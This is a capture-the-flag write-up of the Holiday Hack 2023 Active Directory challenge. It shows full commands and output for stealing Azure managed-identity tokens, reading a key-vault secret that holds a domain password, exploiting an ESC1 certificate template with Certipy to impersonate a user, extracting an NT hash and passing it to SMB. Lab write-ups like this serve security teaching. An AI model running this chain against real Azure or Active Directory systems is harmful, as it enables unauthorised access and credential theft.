Holiday Hack 2023: Coggoggle Marina
Geography
Getting To
The only objective in my badge right now mentions looking for Ribb Bonbowford on Steampunk Island, so I’ll travel around until I find Coggoggle Marina:
Location Layout
The Goose of Steampunk Island is hanging out here, as well as Ribb Bonbowford, and the annual cameo from Jason as a not dead fish:
Jason makes it very clear he’s doing well, despite appearances:
Jason
Hi, I’m Jason!
I’m not dead.
I’m just soaking up the sun’s gnarly vibes, bro!
Active Directory
Challenge
The challenge in the badge gives a starting place:
Ribb Bonbowfort introduces themself and requests help with the Active Directory server:
Ribb Bonbowford
Hello, I’m Ribb Bonbowford. Nice to meet you!
Oh golly! It looks like Alabaster deployed some vulnerable Azure Function App Code he got from ChatNPT.
Don’t get me wrong, I’m all for testing new technologies. The problem is that Alabaster didn’t review the generated code and used the Geese Islands Azure production environment for his testing.
I’m worried because our Active Directory server is hosted there and Wombley Cube’s research department uses one of its fileshares to store their sensitive files.
I’d love for you to help with auditing our Azure and Active Directory configuration and ensure there’s no way to access the research department’s data.
Since you have access to Alabaster’s SSH account that means you’re already in the Azure environment. Knowing Alabaster, there might even be some useful tools in place already.
Domain Credentials
Identify Vaults
I’ll request a token from the VM from SSHenanigans just like before:
oxdf@hacky$ ssh -i admin alabaster@ssh-server-vm.santaworkshopgeeseislands.org
alabaster@ssh-server-vm:~$ curl -s -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' HTTP/1.1 Metadata: true | jq .
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSIsImtpZCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZC8iLCJpYXQiOjE3MDM0MTYzMTIsIm5iZiI6MTcwMzQxNjMxMiwiZXhwIjoxNzAzNTAzMDEyLCJhaW8iOiJFMlZnWUZpamV6YnFoTWtmT1YxT3l5ZGZJbmN6QWdBPSIsImFwcGlkIjoiYjg0ZTA2ZDMtYWJhMS00YmNjLTk2MjYtMmUwZDc2Y2JhMmNlIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsImlkdHlwIjoiYXBwIiwib2lkIjoiNjAwYTNiYzgtN2UyYy00NGU1LThhMjctMThjM2ViOTYzMDYwIiwicmgiOiIwLkFGRUEybzZqa0FaQTFVMlNUR3lsWEt6QlRVWklmM2tBdXRkUHVrUGF3ZmoyTUJQUUFBQS4iLCJzdWIiOiI2MDBhM2JjOC03ZTJjLTQ0ZTUtOGEyNy0xOGMzZWI5NjMwNjAiLCJ0aWQiOiI5MGEzOGVkYS00MDA2LTRkZDUtOTI0Yy02Y2E1NWNhY2MxNGQiLCJ1dGkiOiJQV1Eydjk4dHIweVliRUFjSmFqVkF3IiwidmVyIjoiMS4wIiwieG1zX2F6X3JpZCI6Ii9zdWJzY3JpcHRpb25zLzJiMDk0MmYzLTliY2EtNDg0Yi1hNTA4LWFiZGFlMmRiNWU2NC9yZXNvdXJjZWdyb3Vwcy9ub3J0aHBvbGUtcmcxL3Byb3ZpZGVycy9NaWNyb3NvZnQuQ29tcHV0ZS92aXJ0dWFsTWFjaGluZXMvc3NoLXNlcnZlci12bSIsInhtc19jYWUiOiIxIiwieG1zX21pcmlkIjoiL3N1YnNjcmlwdGlvbnMvMmIwOTQyZjMtOWJjYS00ODRiLWE1MDgtYWJkYWUyZGI1ZTY0L3Jlc291cmNlZ3JvdXBzL25vcnRocG9sZS1yZzEvcHJvdmlkZXJzL01pY3Jvc29mdC5NYW5hZ2VkSWRlbnRpdHkvdXNlckFzc2lnbmVkSWRlbnRpdGllcy9ub3J0aHBvbGUtc3NoLXNlcnZlci1pZGVudGl0eSIsInhtc190Y2R0IjoxNjk4NDE3NTU3fQ.aeLh9MijxYGH3dEE1rEJP_xzh9NfsUUrZzBRvj0BWCmS_IZGBHlI2GycYglAIziH1b7zpiO47a-NKnhNS84lqN2beokhxAzG4S-LvIZqglRRx_naloaPxAcMW4HydLNS2MVg5SC9U0GlERTQLeIgvwdNSgcNRRV5Z4hISbf0rZO6VPHbgeqCpRwiLY58nNUUA84jBQ9D7Cga8WTsru9TtpLmgmKXDPxFncLEzp_BLAIz5A3Y7mqeWn3gKmJuWp57HEN-3JwQ4dkRaCe_TiKsNcJPee-ks3QTI8vnjsAch1DYiGtE9qkH6sYQ0AGvFvht7ljcusnoqEcISyY75pYE9g",
"client_id": "b84e06d3-aba1-4bcc-9626-2e0d76cba2ce",
"expires_in": "83841",
"expires_on": "1703503012",
"ext_expires_in": "86399",
"not_before": "1703416312",
"resource": "https://management.azure.com/",
"token_type": "Bearer"
}
Using that, I’ll try more Azure API queries to enumerate the domain. My first thought was to list domains associated with the account, but it returns an empty list ([]
). There’s another API to list resources that returns two key vault objects:
oxdf@hacky$ curl https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resources?api-version=2021-04-01 -H "Authorization: Bearer $TOKEN" -s | jq .
{
"value": [
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv",
"name": "northpole-it-kv",
"type": "Microsoft.KeyVault/vaults",
"location": "eastus",
"tags": {}
},
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-ssh-certs-kv",
"name": "northpole-ssh-certs-kv",
"type": "Microsoft.KeyVault/vaults",
"location": "eastus",
"tags": {}
}
]
}
I’ll use this API to list information about each vault:
oxdf@hacky$ curl https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv?api-version=2022-07-01 -H "Authorization: Bearer $TOKEN" -s | jq .
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv",
"name": "northpole-it-kv",
"type": "Microsoft.KeyVault/vaults",
"location": "eastus",
"tags": {},
"systemData": {
"createdBy": "thomas@sanshhc.onmicrosoft.com",
"createdByType": "User",
"createdAt": "2023-10-30T13:17:02.532Z",
"lastModifiedBy": "thomas@sanshhc.onmicrosoft.com",
"lastModifiedByType": "User",
"lastModifiedAt": "2023-10-30T13:17:02.532Z"
},
"properties": {
"sku": {
"family": "A",
"name": "Standard"
},
"tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
"accessPolicies": [],
"enabledForDeployment": false,
"enabledForDiskEncryption": false,
"enabledForTemplateDeployment": false,
"enableSoftDelete": true,
"softDeleteRetentionInDays": 90,
"enableRbacAuthorization": true,
"vaultUri": "https://northpole-it-kv.vault.azure.net/",
"provisioningState": "Succeeded",
"publicNetworkAccess": "Enabled"
}
}
oxdf@hacky$ curl https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-ssh-certs-kv?api-version=2022-07-01 -H "Authorization: Bearer $TOKEN" -s | jq .
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-ssh-certs-kv",
"name": "northpole-ssh-certs-kv",
"type": "Microsoft.KeyVault/vaults",
"location": "eastus",
"tags": {},
"systemData": {
"createdBy": "thomas@sanshhc.onmicrosoft.com",
"createdByType": "User",
"createdAt": "2023-11-12T01:47:13.059Z",
"lastModifiedBy": "thomas@sanshhc.onmicrosoft.com",
"lastModifiedByType": "User",
"lastModifiedAt": "2023-11-12T01:50:52.742Z"
},
"properties": {
"sku": {
"family": "A",
"name": "standard"
},
"tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
"accessPolicies": [
{
"tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
"objectId": "0bc7ae9d-292d-4742-8830-68d12469d759",
"permissions": {
"keys": [
"all"
],
"secrets": [
"all"
],
"certificates": [
"all"
],
"storage": [
"all"
]
}
},
{
"tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
"objectId": "1b202351-8c85-46f1-81f8-5528e92eb7ce",
"permissions": {
"secrets": [
"get"
]
}
}
],
"enabledForDeployment": false,
"enableSoftDelete": true,
"softDeleteRetentionInDays": 90,
"vaultUri": "https://northpole-ssh-certs-kv.vault.azure.net/",
"provisioningState": "Succeeded",
"publicNetworkAccess": "Enabled"
}
}
There are two vaults, with urls:
https://northpole-it-kv.vault.azure.net/
https://northpole-ssh-certs-kv.vault.azure.net/
Access Vaults
To list secrets in a vault, I’ll visit the URL plus /secrets
. It requires the token, and the token I’ve been using doesn’t work here:
oxdf@blake:~$ curl https://northpole-it-kv.vault.azure.net/secrets?api-version=7.4 -s | jq .
{
"error": {
"code": "Unauthorized",
"message": "AKV10000: Request is missing a Bearer or PoP token."
}
}
oxdf@blake:~$ curl https://northpole-it-kv.vault.azure.net/secrets?api-version=7.4 -H "Authorization: Bearer $TOKEN" -s | jq .
{
"error": {
"code": "Unauthorized",
"message": "AKV10022: Invalid audience. Expected https://vault.azure.net, found: https://management.azure.com/."
}
}
When I create the token, I have to give a resource. I’ll request a new token and this time specify the new URL from the error message:
alabaster@ssh-server-vm:~$ curl -s -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net' HTTP/1.1 Metadata: true | jq .
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSIsImtpZCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSJ9.eyJhdWQiOiJodHRwczovL3ZhdWx0LmF6dXJlLm5ldCIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZC8iLCJpYXQiOjE3MDM0NTA2NjEsIm5iZiI6MTcwMzQ1MDY2MSwiZXhwIjoxNzAzNTM3MzYxLCJhaW8iOiJFMlZnWUhEVjhtREludnlCeDg3dFVoWFBRZEUwQUE9PSIsImFwcGlkIjoiYjg0ZTA2ZDMtYWJhMS00YmNjLTk2MjYtMmUwZDc2Y2JhMmNlIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsIm9pZCI6IjYwMGEzYmM4LTdlMmMtNDRlNS04YTI3LTE4YzNlYjk2MzA2MCIsInJoIjoiMC5BRkVBMm82amtBWkExVTJTVEd5bFhLekJUVG16cU0taWdocEhvOGtQd0w1NlFKUFFBQUEuIiwic3ViIjoiNjAwYTNiYzgtN2UyYy00NGU1LThhMjctMThjM2ViOTYzMDYwIiwidGlkIjoiOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkIiwidXRpIjoiMlJVcHpxVE5lRUtMVEM4akMxRWpBdyIsInZlciI6IjEuMCIsInhtc19hel9yaWQiOiIvc3Vic2NyaXB0aW9ucy8yYjA5NDJmMy05YmNhLTQ4NGItYTUwOC1hYmRhZTJkYjVlNjQvcmVzb3VyY2Vncm91cHMvbm9ydGhwb2xlLXJnMS9wcm92aWRlcnMvTWljcm9zb2Z0LkNvbXB1dGUvdmlydHVhbE1hY2hpbmVzL3NzaC1zZXJ2ZXItdm0iLCJ4bXNfbWlyaWQiOiIvc3Vic2NyaXB0aW9ucy8yYjA5NDJmMy05YmNhLTQ4NGItYTUwOC1hYmRhZTJkYjVlNjQvcmVzb3VyY2Vncm91cHMvbm9ydGhwb2xlLXJnMS9wcm92aWRlcnMvTWljcm9zb2Z0Lk1hbmFnZWRJZGVudGl0eS91c2VyQXNzaWduZWRJZGVudGl0aWVzL25vcnRocG9sZS1zc2gtc2VydmVyLWlkZW50aXR5In0.mAlMpF_qAgBY7yJq2sKVcIVyZ2riBqZgnbPR3JIvdVZtcnmKiAgL-n_aN2IptfCei011D1ra8XvPzdNtwWo1plVJR0VxZha9J2_K28oltFrOwjsqCSrsftE1L2U2hLKnGGc2-rS0e_E_k1-XrRr_QBOVJ3fI2SGPuAkYSWOQ7SPwRWcCfqxGfJF7c5vFu_wPb8G9FP0p0QvON70bDBzuUFhrj5t0otiQTPZjfH7FClOT6hSOe7JYqv9Vsu5kmQOF0t-v4u2c4k4okaVvVDyWc051_K_-EmJI_mc4ADoPTyDdoBtRl96qpczKYfAe1kpp4_WKA8KdtUMGiBDLuqsPpg",
"client_id": "b84e06d3-aba1-4bcc-9626-2e0d76cba2ce",
"expires_in": "85997",
"expires_on": "1703537361",
"ext_expires_in": "86399",
"not_before": "1703450661",
"resource": "https://vault.azure.net",
"token_type": "Bearer"
}
I can’t access the ssh-certs
one, but the it
one has a secret:
oxdf@blake:~$ curl https://northpole-ssh-certs-kv.vault.azure.net/secrets?api-version=7.4 -H "Authorization: Bearer $TOKEN" -s | jq .
{
"error": {
"code": "Forbidden",
"message": "The user, group or application 'appid=b84e06d3-aba1-4bcc-9626-2e0d76cba2ce;oid=600a3bc8-7e2c-44e5-8a27-18c3eb963060;iss=https://sts.windows.net/90a38eda-4006-4dd5-924c-6ca55cacc14d/' does not have secrets list permission on key vault 'northpole-ssh-certs-kv;location=eastus'. For help resolving this issue, please see https://go.microsoft.com/fwlink/?linkid=2125287",
"innererror": {
"code": "AccessDenied"
}
}
}
oxdf@blake:~$ curl https://northpole-it-kv.vault.azure.net/secrets?api-version=7.4 -H "Authorization: Bearer $TOKEN" -s | jq .
{
"value": [
{
"id": "https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript",
"attributes": {
"enabled": true,
"created": 1699564823,
"updated": 1699564823,
"recoveryLevel": "Recoverable+Purgeable",
"recoverableDays": 90
},
"tags": {}
}
],
"nextLink": null
}
I’ll get that secret:
oxdf@blake:~$ curl https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript?api-version=7.4 -H "Authorization: Bearer $TOKEN" -s | jq .
{
"value": "Import-Module ActiveDirectory; $UserName = \"elfy\"; $UserDomain = \"northpole.local\"; $UserUPN = \"$UserName@$UserDomain\"; $Password = ConvertTo-SecureString \"J4`ufC49/J4766\" -AsPlainText -Force; $DCIP = \"10.0.0.53\"; New-ADUser -UserPrincipalName $UserUPN -Name $UserName -GivenName $UserName -Surname \"\" -Enabled $true -AccountPassword $Password -Server $DCIP -PassThru",
"id": "https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript/ec4db66008024699b19df44f5272248d",
"attributes": {
"enabled": true,
"created": 1699564823,
"updated": 1699564823,
"recoveryLevel": "Recoverable+Purgeable",
"recoverableDays": 90
},
"tags": {}
}
It’s a PowerShell script that cleans up to:
Import-Module ActiveDirectory;
$UserName = "elfy";
$UserDomain = "northpole.local";
$UserUPN = "$UserName@$UserDomain";
$Password = ConvertTo-SecureString "J4`ufC49/J4766" -AsPlainText -Force;
$DCIP = "10.0.0.53";
New-ADUser -UserPrincipalName $UserUPN -Name $UserName -GivenName $UserName -Surname "" -Enabled $true -AccountPassword $Password -Server $DCIP -PassThru
This script provides the DC IP, as well as a username and password.
SMB as elfy
Basic Access
The VM has the Impacket examples, which includes smbclient.py
. I’ll use that to connect to the DC SMB:
alabaster@ssh-server-vm:~$ smbclient.py -dc-ip 10.0.0.53 -target-ip 10.0.0.53 'elfy:J4`ufC49/J4766@northpole.local'
Impacket v0.11.0 - Copyright 2023 Fortra
Type help for list of commands
#
From here, I can list the shares:
# shares
ADMIN$
C$
D$
FileShare
IPC$
NETLOGON
SYSVOL
I’m not able to access the first three admin shares. NETLOGON
is empty. I’ll look at SYSVOL
and FileShare
in more detail.
SYSVOL
SYSVOL
has a bunch of folders. The only things slightly of interest (and not important to this challenge) is in the /northpole.local/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/machine/Microsoft/Windows NT/SecEdit
directory, which has a GptTmpl.inf
file:
[Unicode]
Unicode=yes
[System Access]
MinimumPasswordAge = 1
MaximumPasswordAge = 42
MinimumPasswordLength = 7
PasswordComplexity = 1
PasswordHistorySize = 24
LockoutBadCount = 0
RequireLogonToChangePassword = 0
ForceLogoffWhenHourExpire = 0
ClearTextPassword = 0
LSAAnonymousNameLookup = 0
[Kerberos Policy]
MaxTicketAge = 10
MaxRenewAge = 7
MaxServiceAge = 600
MaxClockSkew = 5
TicketValidateClient = 1
[Registry Values]
MACHINE\System\CurrentControlSet\Control\Lsa\NoLMHash=4,1
[Version]
signature="$CHICAGO$"
Revision=1
There’s a similar one in the other policy at /northpole.local/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/machine/Microsoft/Windows NT/SecEdit/GptTmpl.inf
:
[Unicode]
Unicode=yes
[Registry Values]
MACHINE\System\CurrentControlSet\Services\NTDS\Parameters\LDAPServerIntegrity=4,1
MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\RequireSignOrSeal=4,1
MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters\RequireSecuritySignature=4,1
MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters\EnableSecuritySignature=4,1
[Privilege Rights]
SeAssignPrimaryTokenPrivilege = *S-1-5-20,*S-1-5-19
SeAuditPrivilege = *S-1-5-20,*S-1-5-19
SeBackupPrivilege = *S-1-5-32-549,*S-1-5-32-551,*S-1-5-32-544
SeBatchLogonRight = *S-1-5-32-559,*S-1-5-32-551,*S-1-5-32-544
SeChangeNotifyPrivilege = *S-1-5-32-554,*S-1-5-11,*S-1-5-32-544,*S-1-5-20,*S-1-5-19,*S-1-1-0
SeCreatePagefilePrivilege = *S-1-5-32-544
SeDebugPrivilege = *S-1-5-32-544
SeIncreaseBasePriorityPrivilege = *S-1-5-90-0,*S-1-5-32-544
SeIncreaseQuotaPrivilege = *S-1-5-32-544,*S-1-5-20,*S-1-5-19
SeInteractiveLogonRight = *S-1-5-9,*S-1-5-32-550,*S-1-5-32-549,*S-1-5-32-548,*S-1-5-32-551,*S-1-5-32-544
SeLoadDriverPrivilege = *S-1-5-32-550,*S-1-5-32-544
SeMachineAccountPrivilege = *S-1-5-11
SeNetworkLogonRight = *S-1-5-32-554,*S-1-5-9,*S-1-5-11,*S-1-5-32-544,*S-1-1-0
SeProfileSingleProcessPrivilege = *S-1-5-32-544
SeRemoteShutdownPrivilege = *S-1-5-32-549,*S-1-5-32-544
SeRestorePrivilege = *S-1-5-32-549,*S-1-5-32-551,*S-1-5-32-544
SeSecurityPrivilege = *S-1-5-32-544
SeShutdownPrivilege = *S-1-5-32-550,*S-1-5-32-549,*S-1-5-32-551,*S-1-5-32-544
SeSystemEnvironmentPrivilege = *S-1-5-32-544
SeSystemProfilePrivilege = *S-1-5-80-3139157870-2983391045-3678747466-658725712-1809340420,*S-1-5-32-544
SeSystemTimePrivilege = *S-1-5-32-549,*S-1-5-32-544,*S-1-5-19
SeTakeOwnershipPrivilege = *S-1-5-32-544
SeUndockPrivilege = *S-1-5-32-544
SeEnableDelegationPrivilege = *S-1-5-32-544
[Version]
signature="$CHICAGO$"
Revision=1
FileShare
FileShare
is the share that’s mentioned in the badge objective, specifically “the inaccessible folder”. It’s not yet clear what that means, but I’ll access it to see:
# use fileshare
# ls
drw-rw-rw- 0 Tue Dec 26 01:16:05 2023 .
drw-rw-rw- 0 Tue Dec 26 01:16:01 2023 ..
-rw-rw-rw- 701028 Tue Dec 26 01:16:05 2023 Cookies.pdf
-rw-rw-rw- 1521650 Tue Dec 26 01:16:05 2023 Cookies_Recipe.pdf
-rw-rw-rw- 54096 Tue Dec 26 01:16:05 2023 SignatureCookies.pdf
drw-rw-rw- 0 Tue Dec 26 01:16:05 2023 super_secret_research
-rw-rw-rw- 165 Tue Dec 26 01:16:05 2023 todo.txt
There’s a couple nice recipes, as well as a todo.txt
:
# cat todo.txt
1. Bake some cookies.
2. Restrict access to C:\FileShare\super_secret_research to only researchers so everyone cant see the folder or read its contents
3. Profit
The to-do list mentions locking down access to super_secret_research
. The elfy user can’t access it:
# cd super_secret_research
[-] SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)
Abuse ADCS
Background
Attacks on Active Directory Certificate Services ADCS have been very popular for the last couple years, since SpecterOps released their Certifies Pre-Owned research. My favorite tool for enumerating ADCS is a Python-based tool, Certipy, which happens to be installed on the VM:
alabaster@ssh-server-vm:~$ which certipy
/home/alabaster/.venv/bin/certipy
Identify Vulnerable Template
The first certipy
command I’ll use is find
, with flags to show only vulnerable templates and show them as text to stdout:
alabaster@ssh-server-vm:~$ certipy find -u elfy -p 'J4`ufC49/J4766' -target 10.0.0.53 -text -stdout -vulnerable
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'northpole-npdc01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'northpole-npdc01-CA'
[*] Enumeration output:
Certificate Authorities
0
CA Name : northpole-npdc01-CA
DNS Name : npdc01.northpole.local
Certificate Subject : CN=northpole-npdc01-CA, DC=northpole, DC=local
Certificate Serial Number : 1A1C4055F96FB8B542EE4B1FDF81A248
Certificate Validity Start : 2023-12-26 01:08:06+00:00
Certificate Validity End : 2028-12-26 01:18:05+00:00
Web Enrollment : Disabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : NORTHPOLE.LOCAL\Administrators
Access Rights
ManageCertificates : NORTHPOLE.LOCAL\Administrators
NORTHPOLE.LOCAL\Domain Admins
NORTHPOLE.LOCAL\Enterprise Admins
ManageCa : NORTHPOLE.LOCAL\Administrators
NORTHPOLE.LOCAL\Domain Admins
NORTHPOLE.LOCAL\Enterprise Admins
Enroll : NORTHPOLE.LOCAL\Authenticated Users
Certificate Templates
0
Template Name : NorthPoleUsers
Display Name : NorthPoleUsers
Certificate Authorities : northpole-npdc01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : PublishToDs
IncludeSymmetricAlgorithms
Private Key Flag : ExportableKey
Extended Key Usage : Encrypting File System
Secure Email
Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : NORTHPOLE.LOCAL\Domain Admins
NORTHPOLE.LOCAL\Domain Users
NORTHPOLE.LOCAL\Enterprise Admins
Object Control Permissions
Owner : NORTHPOLE.LOCAL\Enterprise Admins
Write Owner Principals : NORTHPOLE.LOCAL\Domain Admins
NORTHPOLE.LOCAL\Enterprise Admins
Write Dacl Principals : NORTHPOLE.LOCAL\Domain Admins
NORTHPOLE.LOCAL\Enterprise Admins
Write Property Principals : NORTHPOLE.LOCAL\Domain Admins
NORTHPOLE.LOCAL\Enterprise Admins
[!] Vulnerabilities
ESC1 : 'NORTHPOLE.LOCAL\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication
The identified template is vulnerable to the ESC1 attack, where the enrollee can supply the subject they want a certificate for, and all domain users can enroll. I’ll note the certificate authority (CA) name, northpole-npdc01-CA
, and the name of the vulnerable template, NorthPoleUsers
.
Enumerate Domain Users
I can try to get a certificate for the administrator user on the domain, but in this case that user doesn’t exist. To figure out which user to impersonate, I’ll use the GetADUser.py
Impacket script to list all the users:
alabaster@ssh-server-vm:~$ GetADUsers.py 'northpole.local/elfy:J4`ufC49/J4766' -dc-ip 10.0.0.53 -all
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Querying 10.0.0.53 for information about domain.
Name Email PasswordLastSet LastLogon
-------------------- ------------------------------ ------------------- -------------------
alabaster 2023-12-25 17:04:11.253583 2023-12-26 12:40:16.002390
Guest <never> <never>
krbtgt 2023-12-26 01:12:37.762135 <never>
elfy 2023-12-26 01:15:09.972232 2023-12-26 17:38:32.734116
wombleycube 2023-12-26 01:15:10.081640 2023-12-26 17:42:37.934752
Given that Ribb suggested this was “Wombley Cube’s research department” using this share, wombleycube seems like a good user to target.
Auth as wombleycube
I’ll use the req
(for request) command in certipy
to request a certificate for wombleycube. -upn
specifies the user I want the certificate for. I’ll also need to give it the CA and template names:
alabaster@ssh-server-vm:~$ certipy req -u elfy -p 'J4`ufC49/J4766' -target 10.0.0.53 -upn wombleycube@northpole.local -ca northpole-npdc01-CA -template NorthPoleUsers
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 52
[*] Got certificate with UPN 'wombleycube@northpole.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'wombleycube.pfx'
This command saves the certificate and private key to a file. I’ll use that file with the auth
command to get the LM/NTLM hashes for the account:
alabaster@ssh-server-vm:~$ certipy auth -pfx wombleycube.pfx -dc-ip 10.0.0.53
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: wombleycube@northpole.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'wombleycube.ccache'
[*] Trying to retrieve NT hash for 'wombleycube'
[*] Got hash for 'wombleycube@northpole.local': aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e23
SMB as wombleyube
The NTLM hash is all that’s needed to connect to SMB using smbclient.py
:
alabaster@ssh-server-vm:~$ smbclient.py -hashes aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e23 -dc-ip 10.0.0.53 -target-ip 10.0.0.53 wombleycube@northpole.local
Impacket v0.11.0 - Copyright 2023 Fortra
Type help for list of commands
#
Now I have access to super_secret_research
:
# use FileShare
# cd super_secret_research/
# ls
drw-rw-rw- 0 Tue Dec 26 01:16:05 2023 .
drw-rw-rw- 0 Tue Dec 26 01:16:05 2023 ..
-rw-rw-rw- 231 Tue Dec 26 01:16:05 2023 InstructionsForEnteringSatelliteGroundStation.txt
The flag is InstructionsForEnteringSatelliteGroundStation.txt
. The file has information that will be necessary later:
Note to self:
To enter the Satellite Ground Station (SGS), say the following into the speaker:
And he whispered, 'Now I shall be out of sight;
So through the valley and over the height.'
And he'll silently take his way.
Epilogue
Ribb is impressed with my work:
Ribb Bonbowford
Wow, nice work. I’m impressed!
This is all starting to feel like more than just a coincidence though. Everything Alabaster’s been setting up lately with the help of ChatNPT contains all these vulnerabilities. It almost feels deliberate, if you ask me.
Now obviously an LLM AI like ChatNPT cannot have deliberate motivations itself. It’s just a machine. But I wonder who could have built it and who is controlling it?
On top of that, we apparently have a satellite ground station on Geese Islands. I wonder where that thing would even be located.
Well, I guess it’s probably somewhere on Space Island, but I’ve not been there yet.
I’m not a big fan of jungles, you see. I have this tendency to get lost in them.
Anyway, if you feel like investigating, that’d be where I’d go look.
Good luck and I’d try and steer clear of ChatNPT if I were you.